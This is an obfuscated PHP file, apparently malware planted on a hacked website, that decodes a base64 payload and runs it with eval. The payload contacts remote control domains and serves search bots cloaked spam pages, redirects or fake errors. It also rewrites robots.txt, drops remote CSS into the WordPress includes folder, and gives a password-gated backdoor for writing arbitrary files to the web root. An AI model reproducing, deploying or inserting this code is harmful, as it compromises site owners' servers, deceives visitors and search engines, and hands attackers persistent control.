$a =base64_decode('QHNldF90aW1lX2xpbWl0KDM2MDApOw0KQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KJHhtbG5hbWUgPSAnJTYyJTZCJTY3JTc2JTc0JTc1JTY3JTc2JTc1JTJFJTcwJTYyJTYzJTY4JTY1JTYzJTYxJTY4JTJFJTZCJTZDJTZEJzsNCg0KDQoNCg0KJGh0dHBfd2ViID0gJ2h0dHAnOw0KaWYgKGlzX2h0dHBzKCkpIHsNCiAgICAkaHR0cCA9ICdodHRwcyc7DQp9IGVsc2Ugew0KICAgICRodHRwID0gJ2h0dHAnOw0KfQ0KJGR1cmlfdG1wID0gZHJlcXVlc3RfdXJpKCk7DQppZiAoJGR1cmlfdG1wID09ICcnKXsNCiAgICAkZHVyaV90bXAgPSAnLyc7DQp9DQokZHVyaSA9IHVybGVuY29kZSgkZHVyaV90bXApOw0KZnVuY3Rpb24gZHJlcXVlc3RfdXJpKCkNCnsNCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSB7DQogICAgICAgICRkdXJpID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQogICAgfSBlbHNlIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWydhcmd2J10pKSB7DQogICAgICAgICAgICAkZHVyaSA9ICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz8nIC4gJF9TRVJWRVJbJ2FyZ3YnXVswXTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRkdXJpID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnPycgLiAkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ107DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuICRkdXJpOw0KfQ0KaWYoc3RyaXBvcygkZHVyaV90bXAsICdtZHMucGhwJykpIHsNCiAgJGdvd2ViID0gJ2t4c3VwZXJ4Yy5jb3B1cnBudS54eXonOw0KfWVsc2UgaWYoc3RyaXBvcygkZHVyaV90bXAsICdzYWlnYS5waHAnKSkgew0KICAkZ293ZWIgPSAnc3hzZW5pb3Jhcy5nc25pZmZydXMudG9wJzsNCn1lbHNlew0KICAkZ293ZWIgPSAnb3h0aWdodGloLmNvcHVycG51Lnh5eic7DQp9DQpmdW5jdGlvbiBpc19odHRwcygpDQp7DQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQUyddKSAhPT0gJ29mZicpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10pICYmICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10gPT09ICdodHRwcycpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0ZST05UX0VORF9IVFRQUyddKSAhPT0gJ29mZicpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KJGhvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107DQokbGFuZyA9IEAkX1NFUlZFUlsiSFRUUF9BQ0NFUFRfTEFOR1VBR0UiXTsNCiRsYW5nID0gdXJsZW5jb2RlKCRsYW5nKTsNCiR1cmxzaGFuZyA9ICcnOw0KaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkpIHsNCiAgICAkdXJsc2hhbmcgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQogICAgJHVybHNoYW5nID0gdXJsZW5jb2RlKCR1cmxzaGFuZyk7DQp9DQokcGFzc3dvcmQgPSBzaGExKHNoYTEoQCRfR0VUWydwZCddKSk7DQppZiAoJHBhc3N3b3JkID09ICdmNzVmZDVhY2QzNmE3ZmJkMWUyMTliMTk4ODFhNTM0OGJmYzY2ZTc5Jykgew0KICAgICRhZGRfY29udGVudCA9IEAkX0dFVFsnbWFwbmFtZSddOw0KICAgICRhY3Rpb24gPSBAJF9HRVRbJ2FjdGlvbiddOw0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKSkgew0KICAgICAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHBhdGggPSBkaXJuYW1lKF9fRklMRV9fKTsNCiAgICB9DQogICAgaWYgKCEkYWN0aW9uKSB7DQogICAgICAgICRhY3Rpb24gPSAncHV0JzsNCiAgICB9DQogICAgaWYgKCRhY3Rpb24gPT0gJ3B1dCcpIHsNCiAgICAgICAgaWYgKHN0cnN0cigkYWRkX2NvbnRlbnQsICcueG1sJykpIHsNCiAgICAgICAgICAgICRtYXBfcGF0aCA9ICRwYXRoLiAnL3NpdGVtYXAueG1sJzsNCiAgICAgICAgICAgIGlmIChpc19maWxlKCRtYXBfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICBAdW5saW5rKCRtYXBfcGF0aCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnL3JvYm90cy50eHQnOw0KICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlX3BhdGgpKSB7DQogICAgICAgICAgICAgICAgJGRhdGEgPSBkb3V0ZG8oJGZpbGVfcGF0aCk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRkYXRhID0gJ1VzZXItYWdlbnQ6ICoNCkFsbG93OiAvJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzaXRtYXBfdXJsID0gJGh0dHAgLiAnOi8vJyAuICRob3N0IC4gJy8nIC4gJGFkZF9jb250ZW50Ow0KICAgICAgICAgICAgaWYgKHN0cmlzdHIoJGRhdGEsICRzaXRtYXBfdXJsKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gJzxicj5zaXRlbWFwIGFscmVhZHkgYWRkZWQhPGJyPic7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZV9wYXRoLCB0cmltKCRkYXRhKSAuICJcclxuIiAuICdTaXRlbWFwOiAnLiRzaXRtYXBfdXJsKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnI+b2s8YnI+JzsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnI+ZmlsZSB3cml0ZSBmYWxzZSE8YnI+JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBlY2hvICc8YnI+c2l0ZW1hcCBuYW1lIGZhbHNlITxicj4nOw0KICAgICAgICB9DQogICAgICAgIGlmIChzdHJzdHIoJGFkZF9jb250ZW50LCAnLnAnIC4gJ2hwJykpIHsNCiAgICAgICAgICAgICRhID0gc2hhMShzaGExKEAkX0dFVFsnYSddKSk7DQogICAgICAgICAgICAkYiA9IHNoYTEoc2hhMShAJF9HRVRbJ2InXSkpOw0KICAgICAgICAgICAgaWYgKCRhID09IGRvdXRkbygkaHR0cF93ZWIgLiAnOi8vJyAuICRnb3dlYiAuICcvYS5wJyAuICdocCcpIHx8ICRiID09ICdmOGYwZGFlODA0MzY4YzAzMzRlMjJkOWRjYjcwZDNjN2JiZmE5NjM1Jykgew0KICAgICAgICAgICAgICAgICRkc3RyID0gQCRfR0VUWydkc3RyJ107DQogICAgICAgICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoIC4gJy8nIC4gJGFkZF9jb250ZW50LCAkZHN0cikpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnb2snOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBleGl0Ow0KfQ0KDQppZiAoaXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSkpIHsNCiAgICAkcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQp9IGVsc2Ugew0KICAgICRwYXRoID0gZGlybmFtZShfX0ZJTEVfXyk7DQp9DQppZihpc19kaXIoJHBhdGguICcvd3AtaW5jbHVkZXMnKSl7DQoJJGZwYXRoID0gJ3dwLWluY2x1ZGVzL2Nzcyc7DQp9ZWxzZXsNCgkkZnBhdGggPSAnY3NzJzsNCn0NCiRkcGF0aCA9ICRwYXRoLiAnLycuJGZwYXRoOw0KaWYoc3Vic3RyKCRob3N0LDAsNCk9PSd3d3cuJyl7DQogICAgJGhvc3RfbncgPSBzdWJzdHIoJGhvc3QsIDQpOw0KfWVsc2V7DQoJJGhvc3RfbncgPSAkaG9zdDsNCn0NCiRjc3NuID0gc3RyX3JvdDEzKHN1YnN0cigkaG9zdF9udywwLDMpLnN1YnN0cigkZ293ZWIsMCwzKSkuJy5jc3MnOw0KJHBzID0gJHBhdGguICcvJy4kZnBhdGguJy8nLiRjc3NuOw0KJHVybGMgPSAkaHR0cF93ZWIgLiAnOi8vJyAuICRnb3dlYiAuICcvdGVtcC9zdHlsZS5jc3MnOw0KDQokY3NzbnB0aCA9IHN0cl9yb3QxMyhzdWJzdHIoJGhvc3RfbncsMCwzKS5zdWJzdHIoJGdvd2ViLDAsMykpLidwdGguY3NzJzsNCiRwc3B0aCA9ICRwYXRoLiAnLycuJGZwYXRoLicvJy4kY3NzbnB0aDsNCiR1cmxjcHRoID0gJGh0dHBfd2ViIC4gJzovLycgLiAkZ293ZWIgLiAnL3RlbXAvc3R5bGVwdGguY3NzJzsNCg0KZnVuY3Rpb24gcGluZ19zaXRlbWFwKCR1cmwpew0KICAgICR1cmxfYXJyID0gZXhwbG9kZSgiXHJcbiIsIHRyaW0oJHVybCkpOw0KICAgICRyZXR1cm5fc3RyID0gJyc7DQogICAgZm9yZWFjaCgkdXJsX2FyciBhcyAkcGluZ1VybCl7DQogICAgICAgICRwaW5nUmVzID0gZG91dGRvKCRwaW5nVXJsKTsNCiAgICAgICAgJG9rID0gKHN0cnBvcygkcGluZ1JlcywgJ1NpdGVtYXAgTm90aWZpY2F0aW9uIFJlY2VpdmVkJykgIT09IGZhbHNlKSA/ICdwaW5nb2snIDogJ2Vycm9yJzsNCiAgICAgICAgJHJldHVybl9zdHIgLj0gJHBpbmdVcmwgLiAnLS0gJyAuICRvayAuICc8YnI+JzsNCiAgICB9DQogICAgcmV0dXJuICRyZXR1cm5fc3RyOw0KfQ0KZnVuY3Rpb24gZGlzYm90KCkNCnsNCiAgICAkdUFnZW50ID0gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pOw0KICAgIGlmIChzdHJpc3RyKCR1QWdlbnQsICdnb29nbGVib3QnKSB8fCBzdHJpc3RyKCR1QWdlbnQsICdiaW5nJykgfHwgc3RyaXN0cigkdUFnZW50LCAneWFob28nKSB8fCBzdHJpc3RyKCR1QWdlbnQsICdnb29nbGUnKSB8fCBzdHJpc3RyKCR1QWdlbnQsICdHb29nbGVib3QnKSB8fCBzdHJpc3RyKCR1QWdlbnQsICdnb29nbGVib3QnKSkgew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9IGVsc2Ugew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KfQ0KZnVuY3Rpb24gZG91dGRvKCR1cmwpDQp7DQogICAgJGZpbGVfY29udGVudHM9ICcnOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jykpew0KICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMzApOw0KICAgICAgICAkZmlsZV9jb250ZW50cyA9IGN1cmxfZXhlYygkY2gpOw0KICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7DQogICAgfQ0KICAgIGlmICghJGZpbGVfY29udGVudHMpIHsNCiAgICAgICAgJGZpbGVfY29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgfQ0KICAgIHJldHVybiAkZmlsZV9jb250ZW50czsNCn0NCmZ1bmN0aW9uIGZjc3MoJGRwYXRoLCRwcywkdXJsYyl7DQogICAgaWYoaXNfZGlyKCRkcGF0aCkpew0KICAgICAgICBpZighZmlsZV9leGlzdHMoJHBzKSl7DQogICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJHBzLGRvdXRkbygkdXJsYykpOw0KICAgICAgICB9DQogICAgfWVsc2V7DQogICAgICAgIGlmKEBta2RpcigkZHBhdGgpKXsNCiAgICAgICAgICAgIGlmKCFmaWxlX2V4aXN0cygkcHMpKXsNCiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJHBzLGRvdXRkbygkdXJsYykpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KaWYoJGR1cmlfdG1wPT0nLycgfHwgc3Ryc3RyKCRkdXJpX3RtcCwgJ2V3dHRtJykpew0KICAgIGZjc3MoJGRwYXRoLCRwcywkdXJsYyk7DQogICAgZmNzcygkZHBhdGgsJHBzcHRoLCR1cmxjcHRoKTsNCn0NCmlmKGlzX2ZpbGUoJHBzKSl7DQoJJHdlYiA9ICRodHRwX3dlYiAuICc6Ly8nIC4gJGdvd2ViIC4gJy9pbmRleG5ldy5waHA/d2ViPScgLiAkaG9zdCAuICcmeno9JyAuIGRpc2JvdCgpIC4gJyZ1cmk9JyAuICRkdXJpIC4gJyZ1cmxzaGFuZz0nIC4gJHVybHNoYW5nIC4gJyZodHRwPScgLiAkaHR0cCAuICcmbGFuZz0nIC4gJGxhbmcuICcmY3NzPTEnOw0KfWVsc2V7DQoJJHdlYiA9ICRodHRwX3dlYiAuICc6Ly8nIC4gJGdvd2ViIC4gJy9pbmRleG5ldy5waHA/d2ViPScgLiAkaG9zdCAuICcmeno9JyAuIGRpc2JvdCgpIC4gJyZ1cmk9JyAuICRkdXJpIC4gJyZ1cmxzaGFuZz0nIC4gJHVybHNoYW5nIC4gJyZodHRwPScgLiAkaHR0cCAuICcmbGFuZz0nIC4gJGxhbmc7DQp9DQokaHRtbF9jb250ZW50ID0gdHJpbShkb3V0ZG8oJHdlYikpOw0KaWYgKCFzdHJzdHIoJGh0bWxfY29udGVudCwgJ25vYm90dXNlcmFnZW50JykpIHsNCiAgICBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdva2h0bWxnZXRjb250ZW50JykpIHsNCiAgICAgICAgQGhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsNCgkJaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnWyMjbGlua2NzcyMjXScpKSB7DQoJCQlpZihmaWxlX2V4aXN0cygkcHMpKXsNCgkJCQkkbGNzc19zdHIgPSBmaWxlX2dldF9jb250ZW50cygkcHMpOw0KCQkJCSRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgiWyMjbGlua2NzcyMjXSIsICc8c3R5bGU+Jy4kbGNzc19zdHIuJzwvc3R5bGU+JywgJGh0bWxfY29udGVudCk7DQoJCQl9ZWxzZXsNCgkJCQkkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoIlsjI2xpbmtjc3MjI10iLCAnJywgJGh0bWxfY29udGVudCk7DQoJCQl9DQoJCX0NCiAgICAgICAgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnWyMjcHRobGlua2NzcyMjXScpKSB7DQoJCQlpZihmaWxlX2V4aXN0cygkcHNwdGgpKXsNCgkJCQkkbGNzc3B0aF9zdHIgPSBmaWxlX2dldF9jb250ZW50cygkcHNwdGgpOw0KCQkJCSRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgiWyMjcHRobGlua2NzcyMjXSIsICRsY3NzcHRoX3N0ciwgJGh0bWxfY29udGVudCk7DQoJCQl9ZWxzZXsNCgkJCQkkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoIlsjI3B0aGxpbmtjc3MjI10iLCAnJywgJGh0bWxfY29udGVudCk7DQoJCQl9DQoJCX0NCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJva2h0bWxnZXRjb250ZW50IiwgJycsICRodG1sX2NvbnRlbnQpOw0KICAgICAgICBlY2hvICRodG1sX2NvbnRlbnQ7DQogICAgICAgIGV4aXQoKTsNCiAgICB9ZWxzZSBpZihzdHJzdHIoJGh0bWxfY29udGVudCwgJ29reG1sZ2V0Y29udGVudCcpKXsNCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJva3htbGdldGNvbnRlbnQiLCAnJywgJGh0bWxfY29udGVudCk7DQogICAgICAgIEBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC94bWwiKTsNCiAgICAgICAgZWNobyAkaHRtbF9jb250ZW50Ow0KICAgICAgICBleGl0KCk7DQogICAgfWVsc2UgaWYoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdwaW5neG1sZ2V0Y29udGVudCcpKXsNCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJwaW5neG1sZ2V0Y29udGVudCIsICcnLCAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgZmNzcygkZHBhdGgsJHBzLCR1cmxjKTsNCgkJZmNzcygkZHBhdGgsJHBzcHRoLCR1cmxjcHRoKTsNCiAgICAgICAgQGhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsNCiAgICAgICAgZWNobyBwaW5nX3NpdGVtYXAoJGh0bWxfY29udGVudCk7DQogICAgICAgIGV4aXQoKTsNCiAgICB9ZWxzZSBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdnZXRjb250ZW50NTAwcGFnZScpKSB7DQogICAgICAgIEBoZWFkZXIoJ0hUVFAvMS4xIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3InKTsNCiAgICAgICAgZXhpdCgpOw0KICAgIH1lbHNlIGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ2dldGNvbnRlbnQ0MDRwYWdlJykpIHsNCiAgICAgICAgQGhlYWRlcignSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpOw0KICAgICAgICBleGl0KCk7DQogICAgfWVsc2UgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnZ2V0Y29udGVudDMwMXBhZ2UnKSkgew0KICAgICAgICBAaGVhZGVyKCdIVFRQLzEuMSAzMDEgTW92ZWQgUGVybWFuZW50bHknKTsNCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJnZXRjb250ZW50MzAxcGFnZSIsICcnLCAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRodG1sX2NvbnRlbnQpOw0KICAgICAgICBleGl0KCk7DQogICAgfQ0KfS8qIGJsb2cgTTIwOCAqLw=='); eval($a);